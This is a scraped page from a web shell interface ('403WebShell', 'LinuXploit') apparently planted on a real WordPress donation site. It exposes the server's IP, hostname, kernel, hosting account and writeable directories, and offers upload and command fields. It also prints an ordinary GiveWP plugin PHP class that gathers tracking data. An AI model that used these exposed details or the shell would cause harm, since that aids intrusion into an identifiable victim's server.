Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.147.48.226
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Tracking/TrackingData/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Tracking/TrackingData/PluginsData.php
<?php

namespace Give\Tracking\TrackingData;

use Give\License\PremiumAddonsListManager;
use Give\Tracking\Contracts\TrackData;

/**
 * Class ActivePluginsData
 *
 * Represents the plugin data.
 *
 * @package Give\Tracking\TrackingData
 * @since 2.10.0
 */
class PluginsData implements TrackData
{

    /**
     * Returns the collection data.
     *
     * @since 2.10.0
     *
     * @return array The collection data.
     */
    public function get()
    {
        return $this->getPluginData();
    }

    /**
     * Returns all plugins.
     *
     * @since 2.10.0
     *
     * @return array The formatted plugins.
     */
    private function getPluginData()
    {
        $plugins = give_get_plugins();
        $plugins = array_map([$this, 'formatPlugin'], $plugins);

        $plugin_data = [];
        foreach ($plugins as $plugin) {
            $plugin_data[] = $plugin;
        }

        return $plugin_data;
    }

    /**
     * Formats the plugin array.
     *
     * @since 2.10.0
     *
     * @param array $plugin The plugin details.
     *
     * @return array The formatted array.
     */
    private function formatPlugin($plugin)
    {
        $premiumAddonsListManger = give(PremiumAddonsListManager::class);

        return [
            'plugin' => $plugin['Path'],
            'plugin_version' => $plugin['Version'],
            'plugin_status' => $plugin['Status'],
            'plugin_type' => $plugin['Type'],
            'is_premium' => absint($premiumAddonsListManger->isPremiumAddons($plugin['PluginURI'])),
        ];
    }
}


Youez - 2016 - github.com/yon3zu
LinuXploit